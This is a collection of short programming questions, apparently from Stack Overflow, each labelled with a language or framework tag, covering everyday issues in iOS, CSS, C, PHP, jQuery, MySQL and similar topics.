viewdidappear called repeatedly  i m working on an app that displays a randomly chosen image that changes upon touch  and i m presenting a modal view from viewdidappear  which works as menu.    apparently  whenever new image is loaded on main view  viewdidappear is repeatedly called  so the menu modal view keeps popping up. the reason that i put presentmodalview in viewdidappear is because the modal view has to come up at the very beginning before main view  not by a touch-trigger from main view. i ve tried presenting modal view elsewhere  but didn t really work.    any suggestion     following is my viewdidappear on main view  but there s not much information from this..   <pre><code> -(void)viewdidappear:(bool)animated { nslog(@ viewdidappear ); [self presentmodalviewcontroller:modalview animated:yes]; }  </code></pre>   my app constantly reloads the random image on every touch.,iphone
css  left  property in web menu element causes body increases  i copy this code: <a href= http://cssmenusmaker.blogspot.com/2013/01/flat-accented-dropdown-menus.html  rel= nofollow noreferrer >http://cssmenusmaker.blogspot.com/2013/01/flat-accented-dropdown-menus.html</a> for create a dropdown menu. but if exists a menu element with subelements the body of the website increases. i located the piece of code that causes this error  but do not know how to correct it.     this piece is:   <pre><code>#cssmenu ul ul ul {   top: 0;   left: auto;   right: -99.5%;} </code></pre>   a mwe:   <pre><code>&lt;html&gt; &lt;head&gt; &lt;style type= text/css &gt; #cssmenu {   padding: 0;   margin: 0;   border: 0; } #cssmenu ul  #cssmenu li {   list-style: none;   margin: 0;   padding: 0; } #cssmenu ul {   position: relative;   z-index: 597; } #cssmenu ul li {   float: left;   min-height: 1px;   vertical-align: middle; } #cssmenu ul li.hover  #cssmenu ul li:hover {   position: relative;   z-index: 599;   cursor: default; } #cssmenu ul ul {   visibility: hidden;   position: absolute;   top: 100%;   left: 0;   z-index: 598;   width: 100%; } #cssmenu ul ul li {   float: none; } #cssmenu ul ul ul {   top: 0;   left: auto;   right: -99.5%; } #cssmenu ul li:hover &gt; ul {   visibility: visible; } #cssmenu ul ul {   bottom: 0;   left: 0; } #cssmenu ul ul {   margin-top: 0; } #cssmenu ul ul li {   font-weight: normal; } #cssmenu a {   display: block;   line-height: 1em;   text-decoration: none; }  /* custom css styles */ #cssmenu {   background: #333;   border-bottom: 4px solid #1b9bff;   font-family:  oxygen mono   tahoma  arial  sans-serif;   font-size: 12px; }   #cssmenu &gt; ul {     *display: inline-block; }   #cssmenu:after  #cssmenu ul:after {     content:   ;     display: block;     clear: both; }   #cssmenu ul {     text-transform: uppercase; }     #cssmenu ul ul {       border-top: 4px solid #1b9bff;       text-transform: none;       min-width: 190px; }       #cssmenu ul ul a {         background: #1b9bff;         color: #fff;         border: 1px solid #0082e7;         border-top: 0 none;         line-height: 150%;         padding: 16px 20px; }       #cssmenu ul ul ul {         border-top: 0 none; }       #cssmenu ul ul li {         position: relative; }         #cssmenu ul ul li:first-child &gt; a {           border-top: 1px solid #0082e7; }         #cssmenu ul ul li:hover &gt; a {           background: #35a6ff; }         #cssmenu ul ul li:last-child &gt; a {           -moz-border-radius: 0 0 3px 3px;           -webkit-border-radius: 0 0 3px 3px;           border-radius: 0 0 3px 3px;           -moz-background-clip: padding;           -webkit-background-clip: padding-box;           background-clip: padding-box;           -moz-box-shadow: 0 1px 0 #1b9bff;           -webkit-box-shadow: 0 1px 0 #1b9bff;           box-shadow: 0 1px 0 #1b9bff; }         #cssmenu ul ul li:last-child:hover &gt; a {           -moz-border-radius: 0 0 0 3px;           -webkit-border-radius: 0 0 0 3px;           border-radius: 0 0 0 3px;           -moz-background-clip: padding;           -webkit-background-clip: padding-box;           background-clip: padding-box; }         #cssmenu ul ul li.has-sub &gt; a:after {           content:  + ;           position: absolute;           top: 50%;           right: 15px;           margin-top: -8px; }     #cssmenu ul li:hover &gt; a  #cssmenu ul li.active &gt; a {       background: #1b9bff;       color: #fff; }     #cssmenu ul li.has-sub &gt; a:after {       content:  + ;       margin-left: 5px; }     #cssmenu ul li.last ul {       left: auto;       right: 0; }       #cssmenu ul li.last ul ul {         left: auto;         right: 99.5%; }   #cssmenu a {     background: #333;     color: #cbcbcb;     padding: 0 20px; }   #cssmenu &gt; ul &gt; li &gt; a {     line-height: 48px; } &lt;/style&gt; &lt;link href= cssmenu.css  rel= stylesheet  type= text/css  /&gt; &lt;/head&gt;  &lt;body&gt; &lt;div id= cssmenu &gt; &lt;ul&gt;    &lt;li class= active &gt;&lt;a href= index.html &gt;&lt;span&gt;home&lt;/span&gt;&lt;/a&gt;&lt;/li&gt;    &lt;li class= has-sub &gt;&lt;a href= # &gt;&lt;span&gt;products&lt;/span&gt;&lt;/a&gt;       &lt;ul&gt;          &lt;li class= has-sub &gt;&lt;a href= # &gt;&lt;span&gt;product 1&lt;/span&gt;&lt;/a&gt;             &lt;ul&gt;                &lt;li&gt;&lt;a href= # &gt;&lt;span&gt;sub item&lt;/span&gt;&lt;/a&gt;&lt;/li&gt;                &lt;li class= last &gt;&lt;a href= # &gt;&lt;span&gt;sub item&lt;/span&gt;&lt;/a&gt;&lt;/li&gt;             &lt;/ul&gt;          &lt;/li&gt;          &lt;li class= has-sub &gt;&lt;a href= # &gt;&lt;span&gt;product 2&lt;/span&gt;&lt;/a&gt;             &lt;ul&gt;                &lt;li&gt;&lt;a href= # &gt;&lt;span&gt;sub item&lt;/span&gt;&lt;/a&gt;&lt;/li&gt;                &lt;li class= last &gt;&lt;a href= # &gt;&lt;span&gt;sub item&lt;/span&gt;&lt;/a&gt;&lt;/li&gt;             &lt;/ul&gt;          &lt;/li&gt;       &lt;/ul&gt;    &lt;/li&gt;    &lt;li&gt;&lt;a href= # &gt;&lt;span&gt;about&lt;/span&gt;&lt;/a&gt;&lt;/li&gt;    &lt;li class= last &gt;&lt;a href= # &gt;&lt;span&gt;contact&lt;/span&gt;&lt;/a&gt;&lt;/li&gt; &lt;/ul&gt; &lt;/div&gt; &lt;/body&gt; &lt;/html&gt; </code></pre>   the body increases to the right  but doesn t increases the dinamic content in the body. <img src= https://i.stack.imgur.com/lw51q.jpg  alt= body increases >    when pass the cursor over the menu element with subelements the body returns to normal. <img src= https://i.stack.imgur.com/9sjua.jpg  alt= body with normal width when put the cursor over the element >,css
why is .net inconstent in calling directories  directory  and  folder    if you want to do something with a directory/folder you use <code>system.io.directory</code> but if you want to display a dialog for browsing one you use <code>folderbrowserdialog</code>     why is one named directory and the other folder,.net
how do i send a class through tcp socket in objective c  i have a class named  packet  with variables:   <pre><code>{   int length;   char *data;//(length) } </code></pre>   i want to send it through a tcp socket like:   <pre><code> send(socket_id  &lt;myclass&gt;  &lt;length data&gt;  0); </code></pre>   how can i do it. thanks a lot.,objective-c
how to assign input (from echo command) in char array in c program  how to assign input of echo in char array in c program  for example:   <pre><code>$ echo  hello  world!  | ./hello </code></pre>   i need to save string  hello  world  to an array.,c
clearing stdin buffer    i was writing some code and used fgets to get user input. and then i wrote a loop over my code to keep asking for user input until the user prints quit. but the second time it asked  it wrote  please enter your input  2 times instead of 1   and didn t wait for my input the first time.  so  i googled it and found that the stdin buffer was filled and it had to be cleared. i found this solution :    <pre><code>void dump_line(file * fp) {     int ch;     while ((ch = fgetc(fp)) != eof &amp;&amp; ch !=  \n ) {         /* null body */;     } } </code></pre>   and then calling from the main function :   <pre><code>dump_line(stdin); </code></pre>   i have a very hard time understanding it. as i understand it  it simply assigns  ch  the value of fgetc(stdin) .. i simply cant understand how would assigning fgetc(stdin) to  ch  clear the buffer . thank you very much for your help!,c
what kind of  actions  would you typically do in the  run  method of a module in angular   ti know when the <code>run</code> method gets invoked (after the injector is created) and that you can inject only instances  but i was wondering  what would you typically do/want in this method  what is the point of this method     the documentation talks about a  kickstart   what is meant by this,angularjs
adding actionbarsherlock to project  i am trying to add actionbarsherlock to my project. this is a huge project most of the code is written. i have imported actionbarsherlock to my workspace  and when i try to add it as a library to my project eclipse  just forgets  that i added the actionbarsherlock.     <img src= https://i.stack.imgur.com/cn7yx.png  alt= enter image description here >    when i enter this screen again  the reference to actionbarsherlock project is gone! what is wrong with eclipse  caveman-tool..,android
convert terminal commands to python script  how does one convert this terminal command to python  here s the code i have tried  and i need some help with it. the values i want to pass in are &lt; | grep  http  > including the file itself  but i get an error for passing in more than one value.    terminal command:     <code>swfdump -a /home/cfc/swf/swf/flash2.swf | grep  http </code>    try 1:     <code>dump = popen([ swfdump    -a   filename   |    grep     http  ])</code>    try 2:     <code>dump = check_output([ swfdump    -a   filename    | grep  http  ])</code>    error:     try 1:   <pre><code>only one file allowed. you supplied at least two. (/home/cfc/swf/swf/flash2.swf and |) only one file allowed. you supplied at least two. (| and grep) only one file allowed. you supplied at least two. (grep and  http ) couldn t open  http : no such file or directory only one file allowed. you supplied at least two. (/home/cfc/swf/swf/flash2.swf and |) only one file allowed. you supplied at least two. (| and grep) only one file allowed. you supplied at least two. (grep and  http ) couldn t open  http : no such file or directory </code></pre>   try 2:   <pre><code>only one file allowed. you supplied at least two. (/home/cfc/swf/swf/flash2.swf and | grep  http ) couldn t open | grep  http : no such file or directory traceback (most recent call last): file  ./swffile.py   line 62  in &lt;module&gt; main() file  ./swffile.py   line 61  in main trid() file  ./swffile.py   line 34  in trid swfdump() file  ./swffile.py   line 48  in swfdump dump = check_output([ swfdump    -a   filename    | grep  http  ] ) file  /usr/lib/python2.7/subprocess.py   line 573  in check_output raise calledprocesserror(retcode  cmd  output=output) subprocess.calledprocesserror: command  [ swfdump    -a    /home/cfc/swf/swf/flash2.swf    | grep  http  ]  returned non-zero exit status 1 </code></pre>,python
linking c++ .o files during run-time  i ve recently started trying to compile/link c++ code dynamically. let s suppose i have an application myapp.exe running. i want that program to load some compiled object files (.o) and do all the linking stuff. is it possible or i need a shared library,c++
targeting elements to show/hide based on matching ids and classes  very new to jquery and wondering if anyone can help me with the following problem:    using textpattern i have a list generated as so;   <pre><code>&lt;li class= archive-month &gt;&lt;a href= #  id= may2011 &gt;may&lt;/a&gt;&lt;/li&gt; &lt;li class= may2011 &gt;&lt;a rel= bookmark  href= http://*** &gt;post number one&lt;/a&gt;&lt;/li&gt; &lt;li class= may2011 &gt;&lt;a rel= bookmark  href= http://*** &gt;post number two&lt;/a&gt;&lt;/li&gt; &lt;li class= may2011 &gt;&lt;a rel= bookmark  href= http://*** &gt;post number one&lt;/a&gt;&lt;/li&gt;     &lt;li class= archive-month &gt;&lt;a href= #  id= april2011 &gt;april&lt;/a&gt;&lt;/li&gt; </code></pre>   ad infinitum.    my question is  how can i use the <code>&lt;a&gt;</code> tags to show and hide the list items with classes that match the id of the tag  for example  click on the <code>a</code> with an id of  may2011  to toggle hiding and showing of all <code>li</code> with a matching class of  may2011  and so on for the various months.    thanks in advance for any help.,jquery
iphone doesn t refresh the localized icon after you change language setting !  i manage to localized app icon and app name for different languages.i found the icon changes depending on the language setting on the iphone only when the first time when you install the app from xcode.     after that  if i change the language setting  the app icon stay the same but only the app name changes to the localized one.     anyone has an idea is there is way of solving the problem  it seems iphone doens t refresh the icon after you change the language setting.      tony,iphone
passing char value and int value into one function  i m trying to pass a int value into a function that returns a char value to the user.     something like this   <pre><code>    // this is the function call     option = function1(cus_num)      char function1 (int num1){     char test      // displays options for user to input char      cout &lt;&lt;  customer #  &lt;&lt; num1 &lt;&lt;  plese enter an option ;     cin &gt;&gt; test;      return test; </code></pre>   but every time i do this  the num1 is displayed as #0x47e7484 instead of the value. i know the function is setting up to return a char  but can i not pass an int to it,c++
how to call a number on a button click in iphone development  i am trying to create an application in which i want to call a specific number on button click...<br> button is having a title  call xxx-yyy-zzzz for help   after clicking this button call menu will appear with this number dialed and i can either place a call or reject...,iphone
how to compare two dates in java in a simple way  i want to know if there is a simple way to compare two dates of this format for example :    <code>wed  31 jul 2013 09:31:51</code>    <code>mon  05 aug 2013 10:18:24</code>    and display the greatest date,java
what does  <>  symbol mean   i read the laravel manual and found this symbol in the code below:    <pre><code>select * from users where name =  john  or (votes &gt; 100 and title &lt;&gt;  admin ) </code></pre>   so what dose  &lt;>  mean,sql
argument error for my pages  i am having the this problem in my first page and i do not know how to fix it please help me    <code>warning: missing argument 1 for isblockedip()  called in /home/u425835176/public_html/shad0w.php on line 174 and defined in /home/u425835176/public_html/core.php on line 4715</code>    <strong>function</strong>   <pre><code>function isblockedip($var) {     $text = $_server[ remote_addr ];     $rez = mysql_query( select * from lib3rtymrc_blockedip );     $i=0;     while($row=mysql_fetch_array($rez))     {         $var[$i]=$row[1];         $i++;     }        $result = count($var);      for ($i=0;$i&lt;$result;$i++)     {         $ausg = stristr($text  $var[$i]);         if(strlen($ausg)&gt;0)         {             return true;         }     }     return false; }   </code></pre>   in shad0w.php      <pre><code>if(isblockedip())     { ////here comes the message }` </code></pre>,php
how to make a subview automatically resize with its superview   i have a view which contains one sub-view; this sub-view itself contains another sub-view  which is meant to be slightly smaller than its superview.    i am creating the first subview full-screen size then shrinking it to a very small size on the screen.  when the subview is tapped  i animate it from its small size to full-screen.    the problem is that my second subview never resizes itself during this animation - it is always rendered full-size and overflows the bounds of its superview.    is there a simple way to get a subview to keep itself sized proportionally as its superview changes size,iphone
rails query join with where not doesn t work   trying to figure out how come this query doesn t work:   <pre><code>@items = item.joins(:assignments).where.not(assignments: {shop_id: some_id}) </code></pre>   i want to get all items that do not have an assignment association with some shop_id.     it s weird that it doesn t work considering this query will work (only show items with assignment association some shop_id):   <pre><code>@items = item.joins(:assignments).where(assignments: {shop_id: some_id}) </code></pre>,ruby-on-rails
need mysql query to add values for each day in a time series... need help  i have a transaction table and i m looking to generate a dataset to drive a line chart that shows the sum of all the sales happened on each day during a given period.  i have never grouped results like that before and am scratching my head.      let s say the table is called  transactions   the  datetime  field is called timestamp  and the sales amount on each transaction is  txn_amount .  i want the result set to include each day:   1/2/10  and the sum of the transaction amounts.      i need to get a book and spend a week learning mysql...  thanks for helping me out.,mysql
asp process list of labels in a loop  i have a table with several labels lbl1  lbl2....  lbl6... numbered serially    i want to access them in a for loop using a index. here s my puedocode   <pre><code>//puedocode: int _numcount = 6; string labelname; string[] strarray = new string[_numcount]; //store some values in strarray  for (int i=0; i&lt;_numcount; i++) {      labelname =  lbl  + (i + 1).tostring();      labelname.text = strarray[i]  } </code></pre>   can this be done  i don t want to use a placeholder &amp; add the labels into it. i already have the labels in a formatted table.,asp.net
how to get pinterest/peach like module in ios  i am new to ios development and was curious as to how something like this is achieved  i really like the overlaying module they have in place here with the comments and boards and was just wondering if anybody could inform me how to achieve something like this  i couldn t find anything like it on so  youtube or cococacontrols so if somebody could give me the insider on this i would really appreciate it!     <a href= https://i.stack.imgur.com/nsjge.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/nsjge.png  alt= enter image description here ></a>    <a href= https://i.stack.imgur.com/gvpo7.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/gvpo7.png  alt= enter image description here ></a>,ios
"is it possible to remove shadow on a specific image via css  it is possible to remove a shadow on a specific image that appears on many pages many time on a site.    this is the image that should not have a shadow.    <a href= http://www.101calendartemplates.com/wp-content/uploads/2015/12/print.png  rel= nofollow >http://www.101calendartemplates.com/wp-content/uploads/2015/12/print.png</a>    the image appears on this site on pages such as this one:    <a href= http://www.101calendartemplates.com/august-calendar-2/  rel= nofollow >http://www.101calendartemplates.com/august-calendar-2/</a>    this is the code that was used to add a shadow to all other images on the site:    <div class= snippet  data-lang= js  data-hide= false  data-console= true >
 <div class= snippet-code >
 <pre class= snippet-code-html lang-html prettyprint-override ><code>.alignnone {
     border: #b9b9b9 solid 1px;
 
   -webkit-box-shadow: 3px 3px 5px 6px #ccc;  /* safari 3-4  ios 4.0.2 - 4.2  android 2.3+ */
   -moz-box-shadow:    3px 3px 5px 6px #ccc;  /* firefox 3.5 - 3.6 */
   box-shadow:         3px 3px 5px 6px #ccc;  /* opera 10.5  ie 9  firefox 4+  chrome 6+  ios 5 */
 }</code></pre>
 </div>
 </div>",css
how to can i display mobile number in 123-456-7890 format in textfield  i need to enter mobile number in a text field.    i need to display mobile number like this format 123-456-7890.    for eg: 1234567890 is my mobile number while am entering this mobile number in text field     for first 3 digits i need to place - after 3 digits again i need to place -.    if i enter 123 then automatically place - in text field after 456 place  no need of placing for further 4 digits.    similar to displaying text in currency format.    but while getting text from that text field i need to get mobile number no need of - like 1234567890 not 123-456-7890.    i think my question is quite clear now let me add comment if is not.        thank u in advance.,iphone
using html in span title attribute  is it possible to have html tags not get escaped in a span title attribute     ex:    <pre><code>&lt;span title= non-italicized text&lt;i&gt;some italicized text&lt;/i&gt; &gt;for this span&lt;/span&gt; </code></pre>,html
html <a> link javascript function with parameter  i m trying to pass one parameter (text variable) from a <code>&lt;a&gt;</code> tag. this is the code that i m using:   <pre><code>&lt;a onclick= javascript:page_change( previous )  class= pagelink &gt;previous&lt;/a&gt; </code></pre>   without the parameter  previous  is o.k and the function is working correctly. there is any possibility to pass the parameter value only using pure js,javascript
randomizing images using javascript  ok this is what im trying to do here: i simply want to randomize the image under dv id <code>splash</code> and i have images placed in the root folder. i tried to randomize the code using function <code>randomimg()</code> here but the output is empty. any ideas    <pre><code>&lt;!doctype html public  -//w3c//dtd html 4.01//en   http://www.w3.org/tr/html4/strict.dtd &gt;  &lt;html xmlns= http://www.w3.org/1999/xhtml  lang= en &gt;   &lt;head&gt;     &lt;meta http-equiv= content-type  content= text/html; charset=utf-8  /&gt;     &lt;title&gt;html&lt;/title&gt;     &lt;meta name= author  content= blahblahblah  /&gt;     &lt;!-- date: 2014-03-06 --&gt;     &lt;script type= text/javascript &gt;       function randomimg()       {         var images = new array();         images[0] =  img06.jpg ;         images[1] =  img07.jpg ;         images[4] =  img08.jpg ;         images[5] =  img09.jpg ;         images[6] =  img10.jpg ;         var random = math.ceil(math.random()* images.length);         if (random == 0) {  random =1;  }         document.write( &lt;img src= images[random] &gt; );       }     &lt;/script&gt;   &lt;/head&gt; &lt;body&gt;  &lt;div id= header &gt;   &lt;div id= logo &gt;   &lt;h1&gt;&lt;a href= # &gt;welcome&lt;/a&gt;&lt;/h1&gt;   &lt;h2&gt;flower of the day&lt;/h2&gt;    &lt;/div&gt;   &lt;div id= splash &gt;&lt;img src= virus.jpg  alt= random images /&gt;&lt;/div&gt;   &lt;script type= text/javascript &gt;      document.getelementbyid( splash ).firstelementchild.src =  img09.jpg ;     randomimg();   &lt;/script&gt; &lt;/div&gt; &lt;/body&gt; &lt;/html&gt; </code></pre>,javascript
are php models ( mvc ) specifically designated for db interaction only   i am currently working on a personal project. the entire site is dynamic so i am requesting all sorts of information from the database on all pages. i noticed that i was duplicating specific code to display the data to the pages. a few examples would be applying <code>htmlspecialchars</code> to the data or iterating through to set image paths  etc.    what i am wondering is if this is a bad decision to make so i can course correct early on. most internet resources have said that the controller manipulates while the model fetches  updates  inserts  etc. into db. but it just makes sense at least for me anyway to manipulate the output data via model since all pages will use it in the same way.,php
mercury: syntaxerror: cannot return a value from a constructor  working on a fresh install of rails 3.2.8 and getting an error when compiling after adding <a href= https://github.com/jejacks0n/mercury  rel= nofollow >mercury</a>:   <pre><code>syntaxerror: cannot return a value from a constructor:  this.element  in class button  (in /home/*********/**************/vendor/bundle/ruby/1.8/bundler/gems/mercury-0c048033cd79/app/assets/javascripts/mercury/toolbar.button.js.coffee) </code></pre>   i ve successfully installed mercury using rails 3.2.3  but haven t been able to figure why this wouldn t be working.    any ideas    <pre><code>source  https://rubygems.org   gem  rails    3.2.8   # bundle edge rails instead: # gem  rails   :git =&gt;  git://github.com/rails/rails.git   gem  mysql2  gem  bootstrap-sass  gem  simple_form  gem  json  gem  ckeditor  gem  mercury-rails   :git =&gt;  https://github.com/jejacks0n/mercury.git    gem  jquery-rails  # gem  jquery-ui-rails   gem  paperclip    ~&gt; 2.7   # to use activemodel has_secure_password gem  bcrypt-ruby    ~&gt; 3.0.0   # gems used only for assets and not required # in production environments by default. group :assets do   gem  sass-rails      ~&gt; 3.2.3    gem  coffee-rails    ~&gt; 3.2.1     # see https://github.com/sstephenson/execjs#readme for more supported runtimes     gem  therubyracer    0.10.2   :platforms =&gt; :ruby     gem  libv8    ~&gt; 3.3.10      gem  execjs    gem  uglifier    &gt;= 1.0.3  end </code></pre>,ruby-on-rails
show the row if the id is in the field separated with commas <blockquote>    <strong>possible duplicate:</strong><br>   <a href= https://stackoverflow.com/questions/2674011/mysql-check-if-numbers-are-in-a-comma-separated-list >mysql check if numbers are in a comma separated list</a>    </blockquote>    <blockquote>    note: please don t tell me to normalize my database  </blockquote>   ok so what i need is fetch only rows if the id is present in another table which are comma separated...but am having no idea how to select    <code>table1</code>   <pre><code>script_id | name | user_id +-------------------------+    33       demo    256 </code></pre>   <code>table2</code>   <pre><code>has_access| name |user_id +-------------------------+  33 34 56   demo    256 </code></pre>   so i want the row to return from <code>table1</code> only if the id exists inside the <code>table2</code> <code>has_access</code> column  moreover i need exact  so if the id gets 33  or 333 should be different...i need the exact value match,mysql
format decimal with fewest possible digits after decimal separator  i am storing a variety of different sizes as a decimal in sql server  such as:   <blockquote>    10oz  3.3oz  100ml  1.75litres  </blockquote>   when i pull this number out as a decimal and do tostring() i end up with too many extra digits such as   <blockquote>    10.000  3.300  100.00  1.750   </blockquote>   what i want is basically this :   <pre><code>decimal.parse( 1.7500 ).tostring().trimend( 0    . ) </code></pre>   to get me <code>1.75</code> or <code>10</code>     i cannot seem to figure out the format string for this.    in visual studio debugger if i do <code>decimal.parse( 1.7500 )</code> it will show it to me as <code>1.75</code> but when i do <code>tostring()</code> it becomes <code>1.7500</code>.    <a href= https://stackoverflow.com/a/7899828/16940 >decimal.round(...)</a> is no good because the format is not fixed.,c#
convert date string to required date string format  i have parsed .ics file and get the start date as string   the string contains value like this 20100803t130451z (this is formated date string)  i want to convert this string into my required string format ....    my required format of date string is   (tuesday - may 25 2010 (like this))    can anyone help me  thanks in advance.....,iphone
remove get parameters in link   i have an api link like :   <blockquote>    www.mydomain.com/api.php key=test&amp;action=say&amp;what=hi  </blockquote>   and i would like to access it like :   <blockquote>    www.mydomain.com/api.php/test/say/hi  </blockquote>   is it possible   i didn t found.,php
return from jquery ajax method  i have a button named searchreportbutton. on this button click  i need to check session value from server using a ajax web method  error.aspx/checksessionexpiry .this is done in checksession javascript function. the checksession is not returning anything now - instead it is handling the required operation based on the result (redirecting to error page).   <ol> <li>i need to return the result of ajax web method to the main caller.  how can we do this return </li> <li>do i need to move the remaining code (from main caller) into sucsess callback </li> </ol>   <strong>main caller</strong>   <pre><code>searchreportbutton.click(function () {      checksession();     //remainging code  }); </code></pre>   <strong>helper</strong>   <pre><code>function checksession() {  var win = 101; $.ajax(         {             type:  post               url:  error.aspx/checksessionexpiry               data:  { winnumber :    + win +   }               contenttype:  application/json; charset=utf-8               datatype:  json               success: handlesessionresult          }         );         } </code></pre>   <strong>result helper</strong>   <pre><code>  function handlesessionresult(result) {       if (result.hasownproperty( d ))      {       result = result.d     }      if (result ==  active )      {       window.location.href( error.aspx );       return false;     }     //alert(result); </code></pre>   }    reference:   <ol> <li><a href= https://stackoverflow.com/questions/133310/how-can-i-get-jquery-to-perform-a-synchronous-rather-than-asynchronous-ajax-re >how can i get jquery to perform a synchronous  rather than asynchronous  ajax request </a></li> <li><a href= https://stackoverflow.com/questions/5097191/ajax-context-option/5097214#5097214 >$.ajax context option</a></li> <li><a href= https://stackoverflow.com/questions/13670564/jquery-ajax-callback-does-not-get-context >jquery ajax callback does not get context</a></li> <li><a href= https://stackoverflow.com/questions/939032/jquery-pass-more-parameters-into-callback >jquery pass more parameters into callback</a></li> </ol>,jquery
how to retrieve objects from nsarray by their tags in iphone sdk  i m using an nsarray of images  and each image has a tag. i want to know how to retrieve these images from the array using their tags.    any input would be appreciated. thanks.,iphone
can you explain this  hello world  program   i just started learning c but i don t understand this part of the code. can anyone explain each line of code and what it does. thank you! please just answer to what i said instead of saying (it should say in the book) thank you. hope you guys can help me.   <pre><code>#include &lt;stdio.h&gt;  void sayhello( void );  int main (int argc  const char * argv[]) {     sayhello();      return 0; }   void sayhello( void ) {     printf(  hello  world!\n  ); } </code></pre>,c
js not reading via external link but reads inline  js works inline  but it doesn t fire <em>(displays as if js is ignored completely)</em> once moved to external file.. very odd  any thoughts    <pre><code>&lt;html&gt;  &lt;head&gt;     &lt;script src= https://ajax.googleapis.com/ajax/libs/jquery/1.11.3/jquery.min.js &gt;&lt;/script&gt;     &lt;script src= https://cdnjs.cloudflare.com/ajax/libs/html2canvas/0.4.1/html2canvas.js &gt;&lt;/script&gt;     &lt;script src= https://cdnjs.cloudflare.com/ajax/libs/jspdf/1.0.272/jspdf.debug.js &gt;&lt;/script&gt;     &lt;script src= js/global.js &gt;&lt;/script&gt;     &lt;script src= js/bootstrap.js  type= text/javascript &gt;&lt;/script&gt;     &lt;link rel= stylesheet  href= css/bootstrap.css &gt;     &lt;link rel= stylesheet  href= css/bootstrap-theme.css &gt;     &lt;link rel= stylesheet  href= css/global.css &gt; &lt;/head&gt;  &lt;body&gt; &lt;center&gt;     &lt;div class= container  id= records  style= background-color:#fff; width: 400px; margin: 0 auto; &gt;         &lt;br/&gt;          &lt;div class= row  id= item1  class= box &gt;             item 1 details for the pdf test.&lt;br&gt;              &lt;input type= checkbox  id= check1  name= sample[]  value= red /&gt; &lt;em&gt;this&lt;/em&gt; is a checkbox1                      &lt;br /&gt;          &lt;/div&gt;          &lt;div class= space &gt;&lt;/div&gt;          &lt;div class= row  id= item2  class= box &gt;             item 2 details for the pdf test.&lt;br&gt;              &lt;input type= checkbox  id= check2  name= sample[]  value= red /&gt; &lt;em&gt;this&lt;/em&gt; is a checkbox2                      &lt;br /&gt;          &lt;/div&gt;          &lt;div class= space &gt;&lt;/div&gt;          &lt;div class= row  id= item3  class= box &gt;             item 3 details for the pdf test.&lt;br&gt;              &lt;input type= checkbox  id= check3  name= sample[]  value= red /&gt; &lt;em&gt;this&lt;/em&gt; is a checkbox3                      &lt;br /&gt;          &lt;/div&gt;          &lt;div class= space &gt;&lt;/div&gt;          &lt;div class= row  id= item4  class= box &gt;             item 4 details for the pdf test.&lt;br&gt;              &lt;input type= checkbox  id= check4  name= sample[]  value= red /&gt; &lt;em&gt;this&lt;/em&gt; is a checkbox4                     &lt;br /&gt;         &lt;/div&gt;          &lt;div class= space &gt;&lt;/div&gt;          &lt;center&gt;         &lt;div class= container1 &gt;             &lt;div class= row &gt;                 &lt;div class= col-md-8 &gt;                     &lt;p&gt;&lt;a class= btn btn-primary btn-lg download-pdf  href= #  role=button&gt;download pdf&lt;/a&gt;&lt;/p&gt;                 &lt;/div&gt;             &lt;/div&gt;         &lt;/div&gt;         &lt;/center&gt;      &lt;div id= print  style= background-color:#fff &gt;&lt;/div&gt;      &lt;/center&gt;  &lt;/body&gt;  &lt;/html&gt; </code></pre>   <strong>external js:</strong>   <pre><code>texts = {     item1:  item box 1 content &lt;strong&gt;html&lt;/strong&gt; right here! lorem ipsum dolor sit amet  consectetur adipiscing elit  sed do eiusmod tempor incididunt ut labore et dolore magna aliqua.       item2:  now its item box 2 &lt;strong&gt;html&lt;/strong&gt; content here ! lorem ipsum dolor sit amet  consectetur adipiscing elit  sed do eiusmod tempor incididunt ut labore et dolore magna aliqua.       item3:  this is the example &lt;strong&gt;html&lt;/strong&gt; of item box 4! lorem ipsum dolor sit amet  consectetur adipiscing elit  sed do eiusmod tempor incididunt ut labore et dolore magna aliqua.       item4:  item box number 5 &lt;strong&gt;html&lt;/strong&gt; content is here! lorem ipsum dolor sit amet  consectetur adipiscing elit  sed do eiusmod tempor incididunt ut labore et dolore magna aliqua.     }   $( #container ).css( background    #fff )     $( .download-pdf ).click(function() {      notchecked = $( input[type=checkbox]:not(:checked) ).parent();     notchecked.hide();     yeschecked = $( input[type=checkbox]:checked ).parent();      $.each(yeschecked  function( index  el ) {       $(el).show().html(texts[$(el).attr( id )]);     });     var pdf = new jspdf( p    pt    a4 );      pdf.addhtml(document.getelementbyid( records )  function() {         // add here          settimeout(function(){          location.reload();          } 3000);      });       var file =  test ;     if (typeof doc !==  undefined ) {         doc.save(file +  .pdf );     } else if (typeof pdf !==  undefined ) {         settimeout(function() {             pdf.save(file +  .pdf );             // $( #item4 ).hide();          }  2000);     } else {         alert( error 0xe001badf );     }  }); </code></pre>,javascript
change text when file attached  i want change text  when i check file and want to submit form. this is my form   <pre><code>    $(  #client-form input[type= file ]  .webform-client-form input[type= file ]  #contact-form input[type= file ] ).click(function() {     $(this).change(function(){         $( p.pull-left &gt; span ).text( attached );     }); }); </code></pre>   i have check for input with type text. if it s valid  i remove border and in this moment my action work and change my text on  attached  but i don t click on this field and doesn t attache anything. please  help me,jquery
changing root password mysql  hi i tried to change my root password in mysql and i received an unexpected response. do you know how can i sett root password     i get <code>error 1142(42000) update command denied to user   @localhost  for table user</code>,mysql
span display block makes text after the span drop as well  html:   <pre><code>&lt;p&gt; &lt;a href= # &gt;my  &lt;span&gt;favorites&lt;/span&gt; &lt;/a&gt; (13) &lt;/p&gt; </code></pre>   i want  favorites  to drop after  my   and then to <strong>separately style</strong>  (13)   which should be on <strong>the same line</strong> as  favorites .    i tried with the above markup and the following css but (13) also drops:   <pre><code>p span a { display: block; } </code></pre>   (13) should stay on the same line as  favorites  so it looks like   <pre><code>my favorites(13) </code></pre>,css
